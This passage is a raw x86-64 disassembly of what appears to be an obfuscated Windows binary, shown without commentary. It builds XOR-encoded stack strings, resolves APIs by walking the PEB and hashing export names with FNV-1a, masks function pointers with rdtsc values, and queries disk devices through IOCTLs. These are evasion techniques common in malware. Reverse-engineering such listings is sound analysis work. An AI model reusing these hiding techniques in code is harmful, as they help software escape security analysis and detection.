lea r8, [rax + 0x200]
add r8, rbx
lea r9, [rbp + 2]
lea rcx, [rbp + 0x19b8]
call fcn.140054cf0
nop
mov rdi, qword [rbp + 0x80]
mov rsi, qword [rbp + 0x88]
cmp rdi, rsi
je 0x14003fdbb
nop dword [rax]
lea rcx, [rbp + 0x19b8]
call fcn.14002afc0
mov rbx, rax
mov rcx, rdi
call fcn.14002afc0
movzx edx, word [rax]
test dx, dx
je 0x14003fdad
movzx ecx, dx
movzx edx, cx
cmp cx, word [rbx]
jne 0x14003fdad
add rax, 2
add rbx, 2
movzx edx, word [rax]
movzx ecx, dx
test dx, dx
jne 0x14003fd92
cmp dx, word [rbx]
je 0x14003fdcf
add rdi, 0x20
cmp rdi, rsi
jne 0x14003fd70
lea rdx, [rbp + 0x19b8]
lea rcx, [rbp + 0x80]
call fcn.14003bab0
nop
lea rcx, [rbp + 0x19b8]
call fcn.14002fb40
inc r14d
add r12, 0x450
mov rcx, qword [rbp + 0x238]
mov rbx, qword [rbp + 0x230]
sub rcx, rbx
mov rax, r13
imul rcx
sar rdx, 9
mov rax, rdx
shr rax, 0x3f
add rdx, rax
movsxd rax, r14d
cmp rax, rdx
jb 0x14003fd00
mov rax, qword [r15]
mov rcx, r15
call qword [rax + 0x10]
nop
lea rcx, [rbp + 0x230]
call fcn.1400513c0
mov rbx, qword [rbp + 0x80]
mov rdi, qword [rbp + 0x88]
cmp rbx, rdi
je 0x14004005d
movabs r8, 0x51dc3191e737b52d
mov qword [rbp + 0x10d0], r8
movabs rdx, 0x3b1b0550f00f3046
mov qword [rbp + 0x10d8], rdx
movabs rsi, 0x519831d8e761b563
movabs r14, 0x3b1b0550f04e300f
movabs r15, 0x51b931e5e759b564
movabs r12, 0x3b1b0550f00f302a
movabs r13, 0x51dc31d5e77ab56c
movdqa xmm6, xmmword [rbp + 0x10d0]
nop
xor eax, eax
mov byte [rbp + 3], al
mov byte [rbp - 0x48], al
mov qword [rbp + 0x120], rsi
mov qword [rbp + 0x128], r14
mov byte [rbp - 0x47], al
movdqa xmm0, xmmword [rbp + 0x120]
pxor xmm0, xmm6
movdqa xmmword [rbp + 0x120], xmm0
xor r8d, r8d
lea rdx, [rbp + 0x120]
mov rcx, rbx
call fcn.14004f220
cmp rax, 0xffffffffffffffff
jne 0x14004019d
xor eax, eax
mov byte [rbp - 0x46], al
mov byte [rbp - 0x45], al
movabs rax, 0x51dc3191e737b52d
mov qword [rbp + 0x1350], rax
movabs rax, 0x3b1b0550f00f3046
mov qword [rbp + 0x1358], rax
mov qword [rbp + 0x100], r15
mov qword [rbp + 0x108], r12
xor eax, eax
mov byte [rbp - 0x44], al
movdqa xmm0, xmmword [rbp + 0x100]
pxor xmm0, xmmword [rbp + 0x1350]
movdqa xmmword [rbp + 0x100], xmm0
xor r8d, r8d
lea rdx, [rbp + 0x100]
mov rcx, rbx
call fcn.14004f220
cmp rax, 0xffffffffffffffff
jne 0x14004019d
xor eax, eax
mov byte [rbp - 0x43], al
mov byte [rbp - 0x42], al
movabs rax, 0x3b1b0550f00f3046
movabs rcx, 0x51dc3191e737b52d
mov qword [rbp + 0x10e0], rcx
mov qword [rbp + 0x10e8], rax
mov qword [rbp + 0xe0], r13
mov qword [rbp + 0xe8], rax
xor eax, eax
mov byte [rbp - 0x41], al
movdqa xmm0, xmmword [rbp + 0xe0]
pxor xmm0, xmmword [rbp + 0x10e0]
movdqa xmmword [rbp + 0xe0], xmm0
xor r8d, r8d
lea rdx, [rbp + 0xe0]
mov rcx, rbx
call fcn.14004f220
cmp rax, 0xffffffffffffffff
jne 0x14004019d
xor eax, eax
mov byte [rbp - 0x40], al
mov byte [rbp - 0x3f], al
movabs rax, 0x51b931f5e756b57f
movabs rcx, 0x3b1b0550f0613029
movabs rdx, 0x51dc3191e737b52d
mov qword [rbp + 0x10f0], rdx
movabs rdx, 0x3b1b0550f00f3046
mov qword [rbp + 0x10f8], rdx
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rcx
xor eax, eax
mov byte [rbp - 0x3e], al
movdqa xmm0, xmmword [rbp + 0xb0]
pxor xmm0, xmmword [rbp + 0x10f0]
movdqa xmmword [rbp + 0xb0], xmm0
xor r8d, r8d
lea rdx, [rbp + 0xb0]
mov rcx, rbx
call fcn.14004f220
cmp rax, 0xffffffffffffffff
jne 0x14004019d
add rbx, 0x20
cmp rbx, rdi
jne 0x14003fea0
lea rcx, [rbp + 0x80]
call fcn.14002fad0
xor esi, esi
mov r8d, 0x28255f84
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1628], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140040100
mov r9, qword [rbp + 0x1630]
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0x811c9dc5
cmp r9, r11
je 0x1400400f7
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r10d
imul r10d, ebx, 0x1000193
add r9, 2
cmp r9, r11
jne 0x1400400d0
cmp r10d, esi
jne 0x140046c77
mov rdi, qword [rax + 0x30]
test rdi, rdi
je 0x140046c7f
movsxd rcx, dword [rdi + 0x3c]
mov rdx, qword [rcx + rdi + 0x88]
mov r13, rdx
shr r13, 0x20
mov r14d, edx
add r14, rdi
cmp r14, rdi
je 0x140046c77
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x140046c77
mov r12d, dword [r14 + 0x20]
dec r11d
lea rcx, [r12 + r11*4]
mov r9d, dword [rcx + rdi]
add r9, rdi
mov r10d, 0x811c9dc5
movzx ebx, byte [r9]
inc r9
test bl, bl
je 0x140040187
nop
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx ebx, byte [r9]
lea r9, [r9 + 1]
test bl, bl
jne 0x140040160
cmp r10d, r8d
je 0x140046bca
test r11d, r11d
jne 0x140040140
mov rax, qword [rax]
jmp 0x140040090
lea rcx, [rbp + 0x80]
call fcn.14002fad0
xor eax, eax
mov byte [rbp - 0x3d], al
mov byte [rbp - 0x3c], al
movabs rax, 0x22a559c1bb19e971
movabs rcx, 0x4d7277149c6e532f
movabs rdx, 0x3dfb04bf43b26082
movabs rbx, 0x51dc3191e737b52d
movabs r8, 0x503b9d8ee028f988
mov qword [rbp + 0x1380], rbx
movabs rbx, 0x3b1b0550f00f3046
mov qword [rbp + 0x1388], rbx
movabs rbx, 0x3dfb04bf43d645e7
mov qword [rbp + 0x1390], rbx
mov qword [rbp + 0x1398], r8
mov qword [rbp + 0x130], rax
mov qword [rbp + 0x138], rcx
mov qword [rbp + 0x140], rdx
mov qword [rbp + 0x148], r8
xor eax, eax
mov byte [rbp - 0x3b], al
movdqa xmm0, xmmword [rbp + 0x130]
pxor xmm0, xmmword [rbp + 0x1380]
movdqa xmmword [rbp + 0x130], xmm0
movdqa xmm1, xmmword [rbp + 0x140]
pxor xmm1, xmmword [rbp + 0x1390]
movdqa xmmword [rbp + 0x140], xmm1
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x38b0]
call fcn.14007b770
xor eax, eax
mov dword [rsp + 0x60], eax
lea r15, [0x14003bda0]
mov rcx, 0xffffffffffffffff
lea rbx, [rbp + 0x130]
mov rdx, rcx
inc rdx
cmp byte [rbx + rdx], 0
jne 0x140040296
inc rdx
mov r9d, eax
lea r8, [rbp + 0x130]
lea rcx, [rbp + 0x38b0]
call fcn.140031240
mov rax, qword [0x1401bf478]
test rax, rax
jne 0x1400404ed
xor esi, esi
mov edi, 0xf75db66e
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1100], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140040350
mov r8, qword [rbp + 0x1108]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x140040347
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x140040320
cmp r9d, esi
jne 0x140040495
mov r11, qword [rax + 0x30]
test r11, r11
je 0x14004049d
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x140040495
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x140040495
mov r12d, dword [r15 + 0x20]
dec r10d
lea rcx, [r12 + r10*4]
mov edx, dword [rcx + r11]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [rdx + 1]
add r8, r11
test bl, bl
je 0x1400403d8
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x1400403b1
cmp r9d, edi
je 0x1400403ea
test r10d, r10d
jne 0x140040390
mov rax, qword [rax]
jmp 0x1400402e0
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov ebx, dword [rcx + rax*4]
add rbx, r11
cmp rbx, r15
jbe 0x14004049f
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x14004049f
mov esi, 0x811c9dc5
mov edi, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x140040454
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x140040430
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x140040484
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x140040460
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x1400402e0
xor ebx, ebx
mov qword [0x1401bf478], rbx
nop word [rax + rax]
rdtsc
shl rdx, 0x20
or rax, rdx
lea rax, [rax + rax*4]
mov r10, rax
mov qword [0x1401bf480], rax
mov ecx, eax
cmp rax, rbx
je 0x1400404b0
xor rax, rbx
mov qword [0x1401bf478], rax
xor ecx, 0xf75db66e
mov dword [0x1401bf470], ecx
lea r15, [0x14003bda0]
jmp 0x1400404f4
mov r10, qword [0x1401bf480]
xor r10, rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor edx, edx
lea r8d, [r9 + 3]
lea rcx, [rbp + 0x38b0]
call r10
mov r14, rax
mov qword [rsp + 0x78], rax
mov qword [rbp + 0x68], r15
mov qword [rbp + 0x70], rax
cmp rax, 0xffffffffffffffff
je 0x140040d1c
mov qword [rbp + 0x3c], 0
xor eax, eax
mov qword [rbp + 0x18], rax
mov dword [rbp + 0x38], eax
mov rcx, qword [0x1401bf4f8]
test rcx, rcx
jne 0x14004078b
xor esi, esi
mov edi, 0x9661cbb4
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1110], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x1400405f0
mov r8, qword [rbp + 0x1118]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x1400405e7
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x1400405c0
cmp r9d, esi
jne 0x140040735
mov r11, qword [rax + 0x30]
test r11, r11
je 0x14004073d
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x140040735
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x140040735
mov r12d, dword [r15 + 0x20]
dec r10d
lea rcx, [r12 + r10*4]
mov edx, dword [rcx + r11]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [rdx + 1]
add r8, r11
test bl, bl
je 0x140040678
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x140040651
cmp r9d, edi
je 0x14004068a
test r10d, r10d
jne 0x140040630
mov rax, qword [rax]
jmp 0x140040580
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov ebx, dword [rcx + rax*4]
add rbx, r11
cmp rbx, r15
jbe 0x14004073f
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x14004073f
mov esi, 0x811c9dc5
mov edi, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x1400406f4
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x1400406d0
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x140040724
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x140040700
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140040580
xor ebx, ebx
mov qword [0x1401bf4f8], rbx
nop word [rax + rax]
rdtsc
shl rdx, 0x20
or rax, rdx
lea rcx, [rax + rax*4]
mov rax, rcx
mov qword [0x1401bf500], rcx
mov edx, ecx
cmp rcx, rbx
je 0x140040750
xor rcx, rbx
mov qword [0x1401bf4f8], rcx
xor edx, 0x9661cbb4
mov dword [0x1401bf4f0], edx
mov r14, qword [rsp + 0x78]
jmp 0x140040792
mov rax, qword [0x1401bf500]
xor rax, rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
lea rcx, [rbp + 0x18]
mov qword [rsp + 0x20], rcx
mov r9d, 0xc
lea r8, [rbp + 0x38]
mov edx, 0x2d1400
mov rcx, r14
call rax
test eax, eax
je 0x140040d1c
lea rcx, [rbp + 0x9e8]
call fcn.14001c850
nop
mov edx, dword [rbp + 0x1c]
lea r8, [rbp - 0x3a]
lea rcx, [rbp + 0x9e8]
call fcn.14001c870
mov rax, qword [0x1401bf4f8]
test rax, rax
jne 0x140040a26
xor esi, esi
mov edi, 0x9661cbb4
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1120], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140040890
mov r8, qword [rbp + 0x1128]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x140040887
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x140040860
cmp r9d, esi
jne 0x1400409d5
mov r11, qword [rax + 0x30]
test r11, r11
je 0x1400409dd
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x1400409d5
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x1400409d5
mov r12d, dword [r15 + 0x20]
dec r10d
lea rcx, [r12 + r10*4]
mov edx, dword [rcx + r11]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [rdx + 1]
add r8, r11
test bl, bl
je 0x140040918
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x1400408f1
cmp r9d, edi
je 0x14004092a
test r10d, r10d
jne 0x1400408d0
mov rax, qword [rax]
jmp 0x140040820
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov ebx, dword [rcx + rax*4]
add rbx, r11
cmp rbx, r15
jbe 0x1400409df
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x1400409df
mov esi, 0x811c9dc5
mov edi, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x140040994
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x140040970
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x1400409c4
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x1400409a0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140040820
xor ebx, ebx
mov qword [0x1401bf4f8], rbx
nop word [rax + rax]
rdtsc
shl rdx, 0x20
or rax, rdx
lea rax, [rax + rax*4]
mov r10, rax
mov qword [0x1401bf500], rax
mov ecx, eax
cmp rax, rbx
je 0x1400409f0
xor rax, rbx
mov qword [0x1401bf4f8], rax
xor ecx, 0x9661cbb4
mov dword [0x1401bf4f0], ecx
jmp 0x140040a2d
mov r10, qword [0x1401bf500]
xor r10, rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov eax, dword [rbp + 0x1c]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x9e8]
mov qword [rsp + 0x20], rax
mov r9d, 0xc
lea r8, [rbp + 0x38]
mov edx, 0x2d1400
mov rcx, qword [rbp + 0x70]
call r10
test eax, eax
je 0x140040d0f
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x16c0], xmm0
mov qword [rbp + 0x16d0], rax
mov rax, qword [0x1401bf4f8]
test rax, rax
jne 0x140040cb6
xor esi, esi
mov edi, 0x9661cbb4
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1130], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140040b20
mov r8, qword [rbp + 0x1138]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x140040b17
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x140040af0
cmp r9d, esi
jne 0x140040c65
mov r11, qword [rax + 0x30]
test r11, r11
je 0x140040c6d
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x140040c65
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x140040c65
mov r12d, dword [r15 + 0x20]
dec r10d
lea rcx, [r12 + r10*4]
mov edx, dword [rcx + r11]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [rdx + 1]
add r8, r11
test bl, bl
je 0x140040ba8
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x140040b81
cmp r9d, edi
je 0x140040bba
test r10d, r10d
jne 0x140040b60
mov rax, qword [rax]
jmp 0x140040ab0
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov ebx, dword [rcx + rax*4]
add rbx, r11
cmp rbx, r15
jbe 0x140040c6f
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x140040c6f
mov esi, 0x811c9dc5
mov edi, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x140040c24
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x140040c00
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x140040c54
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x140040c30
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140040ab0
xor ebx, ebx
mov qword [0x1401bf4f8], rbx
nop word [rax + rax]
rdtsc
shl rdx, 0x20
or rax, rdx
lea rax, [rax + rax*4]
mov r10, rax
mov qword [0x1401bf500], rax
mov ecx, eax
cmp rax, rbx
je 0x140040c80
xor rax, rbx
mov qword [0x1401bf4f8], rax
xor ecx, 0x9661cbb4
mov dword [0x1401bf4f0], ecx
jmp 0x140040cbd
mov r10, qword [0x1401bf500]
xor r10, rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x18
lea rax, [rbp + 0x16c0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x70000
mov rcx, qword [rbp + 0x70]
call r10
mov rax, qword [rbp + 0x9e8]
cmp dword [rax + 0x18], 0
je 0x140040d0f
cmp dword [rax + 0x10], 0
jne 0x140040e5d
lea rcx, [rbp + 0x9e8]
call fcn.140001e50
nop
lea rcx, [rbp + 0x68]
call fcn.14004e0a0
mov eax, dword [rsp + 0x60]
inc eax
mov dword [rsp + 0x60], eax
cmp eax, 0x1b
jl 0x14004027e
xor esi, esi
mov r8d, 0x28255f84
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1618], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140040dc0
mov r9, qword [rbp + 0x1620]
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0x811c9dc5
cmp r9, r11
je 0x140040db7
nop dword [rax]
nop dword [rax + rax]
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r10d
imul r10d, ebx, 0x1000193
add r9, 2
cmp r9, r11
jne 0x140040d90
cmp r10d, esi
jne 0x1400468d7
mov rdi, qword [rax + 0x30]
test rdi, rdi
je 0x1400468df
movsxd rcx, dword [rdi + 0x3c]
mov rdx, qword [rcx + rdi + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, rdi
cmp r15, rdi
je 0x1400468d7
mov r11d, dword [r15 + 0x18]
test r11d, r11d
je 0x1400468d7
mov r12d, dword [r15 + 0x20]
dec r11d
lea rcx, [r12 + r11*4]
mov r9d, dword [rcx + rdi]
add r9, rdi
mov r10d, 0x811c9dc5
movzx ebx, byte [r9]
inc r9
test bl, bl
je 0x140040e47
nop
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx ebx, byte [r9]
lea r9, [r9 + 1]
test bl, bl
jne 0x140040e20
cmp r10d, r8d
je 0x14004682a
test r11d, r11d
jne 0x140040e00
mov rax, qword [rax]
jmp 0x140040d51
lea rcx, [rbp + 0x9e8]
call fcn.140001e50
nop
lea rcx, [rbp + 0x68]
call fcn.14004e0a0
xor eax, eax
mov byte [rbp - 0x39], al
mov byte [rbp - 0x38], al
movabs rbx, 0x51b431fbe744b540
movabs rax, 0x3b780524f07b3068
movabs rsi, 0x51dc3191e737b52d
movabs r15, 0x3dfb04bf43d645e7
movabs r14, 0x503b9d8ee028f988
mov qword [rbp + 0x13a0], rsi
movabs rdi, 0x3b1b0550f00f3046
mov qword [rbp + 0x13a8], rdi
mov qword [rbp + 0x13b0], r15
mov qword [rbp + 0x13b8], r14
mov qword [rbp + 0x350], rbx
mov qword [rbp + 0x358], rax
mov qword [rbp + 0x360], r15
mov qword [rbp + 0x368], r14
xor eax, eax
mov byte [rbp - 0x37], al
movdqa xmm0, xmmword [rbp + 0x350]
pxor xmm0, xmmword [rbp + 0x13a0]
movdqa xmmword [rbp + 0x350], xmm0
movdqa xmm1, xmmword [rbp + 0x360]
pxor xmm1, xmmword [rbp + 0x13b0]
movdqa xmmword [rbp + 0x360], xmm1
lea rdx, [rbp + 0x350]
lea rcx, [rbp + 0x34b0]
call fcn.14004f3a0
mov rdx, rax
lea rcx, [rbp + 0x3a28]
call fcn.14003ac70
test al, al
je 0x140045e17
xor eax, eax
mov byte [rbp - 0x36], al
mov byte [rbp - 0x35], al
movabs rax, 0x3b6f057ef06b3024
movabs rcx, 0x3dfb04bf43b54593
mov qword [rbp + 0x13c0], rsi
mov qword [rbp + 0x13c8], rdi
mov qword [rbp + 0x13d0], r15
mov qword [rbp + 0x13d8], r14
mov qword [rbp + 0x2d0], rbx
mov qword [rbp + 0x2d8], rax
mov qword [rbp + 0x2e0], rcx
mov qword [rbp + 0x2e8], r14
xor eax, eax
mov byte [rbp - 0x34], al
movdqa xmm0, xmmword [rbp + 0x2d0]
pxor xmm0, xmmword [rbp + 0x13c0]
movdqa xmmword [rbp + 0x2d0], xmm0
movdqa xmm1, xmmword [rbp + 0x2e0]
pxor xmm1, xmmword [rbp + 0x13d0]
movdqa xmmword [rbp + 0x2e0], xmm1
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp + 0x34d0]
call fcn.14004f3a0
mov rdx, rax
lea rcx, [rbp + 0x3a28]
call fcn.14003ac70
test al, al
je 0x140045e17
xor eax, eax
mov byte [rbp - 0x33], al
mov byte [rbp - 0x32], al
movabs rbx, 0x51be31fce756b54e
movabs rax, 0x3b350531f0663034
movabs rcx, 0x3dfb04dc43a24593
mov qword [rbp + 0x13e0], rsi
mov qword [rbp + 0x13e8], rdi
mov qword [rbp + 0x13f0], r15
mov qword [rbp + 0x13f8], r14
mov qword [rbp + 0x250], rbx
mov qword [rbp + 0x258], rax
mov qword [rbp + 0x260], rcx
mov qword [rbp + 0x268], r14
xor eax, eax
mov byte [rbp - 0x31], al
movdqa xmm0, xmmword [rbp + 0x250]
pxor xmm0, xmmword [rbp + 0x13e0]
movdqa xmmword [rbp + 0x250], xmm0
movdqa xmm1, xmmword [rbp + 0x260]
pxor xmm1, xmmword [rbp + 0x13f0]
movdqa xmmword [rbp + 0x260], xmm1
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x34f0]
call fcn.14004f3a0
mov rdx, rax
lea rcx, [rbp + 0x3a28]
call fcn.14003ac70
test al, al
je 0x140045e17
xor eax, eax
mov byte [rbp - 0x30], al
mov byte [rbp - 0x2f], al
movabs rax, 0x3b790531f0663034
movabs rcx, 0x3d9d04cb43a245c9
mov qword [rbp + 0x1400], rsi
mov qword [rbp + 0x1408], rdi
mov qword [rbp + 0x1410], r15
mov qword [rbp + 0x1418], r14
mov qword [rbp + 0x270], rbx
mov qword [rbp + 0x278], rax
mov qword [rbp + 0x280], rcx
mov qword [rbp + 0x288], r14
xor eax, eax
mov byte [rbp - 0x2e], al
movdqa xmm0, xmmword [rbp + 0x270]
pxor xmm0, xmmword [rbp + 0x1400]
movdqa xmmword [rbp + 0x270], xmm0
movdqa xmm1, xmmword [rbp + 0x280]
